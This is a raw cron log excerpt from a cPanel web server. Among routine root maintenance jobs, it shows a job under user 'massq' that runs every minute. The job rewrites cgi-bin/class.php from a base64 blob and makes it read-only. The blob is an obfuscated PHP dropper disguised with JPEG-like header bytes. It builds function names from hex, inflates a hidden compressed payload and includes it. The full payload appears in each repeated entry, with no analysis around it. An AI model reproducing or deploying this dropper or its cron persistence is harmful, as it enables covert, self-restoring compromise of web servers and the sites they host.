Sep  1 19:00:01 server CROND[795]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 19:00:01 server CROND[798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:00:01 server CROND[796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:00:01 server CROND[797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:00:01 server CROND[799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:01:01 server CROND[1744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:01:01 server CROND[1745]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 19:01:01 server CROND[1743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:01:01 server CROND[1747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:01:01 server run-parts(/etc/cron.hourly)[1745]: starting 0anacron
Sep  1 19:01:01 server run-parts(/etc/cron.hourly)[1766]: finished 0anacron
Sep  1 19:02:01 server CROND[2187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:02:01 server CROND[2188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:02:01 server CROND[2189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:03:01 server CROND[2601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:03:01 server CROND[2602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:03:01 server CROND[2603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:04:01 server CROND[3117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:04:01 server CROND[3118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:04:01 server CROND[3119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:05:01 server CROND[3516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:05:01 server CROND[3518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:05:01 server CROND[3527]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:05:01 server CROND[3525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:05:01 server CROND[3530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:05:01 server CROND[3528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:05:01 server CROND[3526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:05:01 server CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:06:01 server CROND[4371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:06:01 server CROND[4372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:06:01 server CROND[4373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:07:01 server CROND[4748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:07:01 server CROND[4749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:07:01 server CROND[4755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:08:01 server CROND[5142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:08:01 server CROND[5144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:08:01 server CROND[5145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:09:01 server CROND[5620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:09:01 server CROND[5621]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 19:09:01 server CROND[5622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:09:01 server CROND[5625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:10:01 server CROND[6009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:10:01 server CROND[6011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:10:01 server CROND[6014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:10:01 server CROND[6015]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:10:01 server CROND[6017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:10:01 server CROND[6021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:10:01 server CROND[6034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:10:01 server CROND[6037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:11:01 server CROND[6968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:11:01 server CROND[6969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:11:01 server CROND[6970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
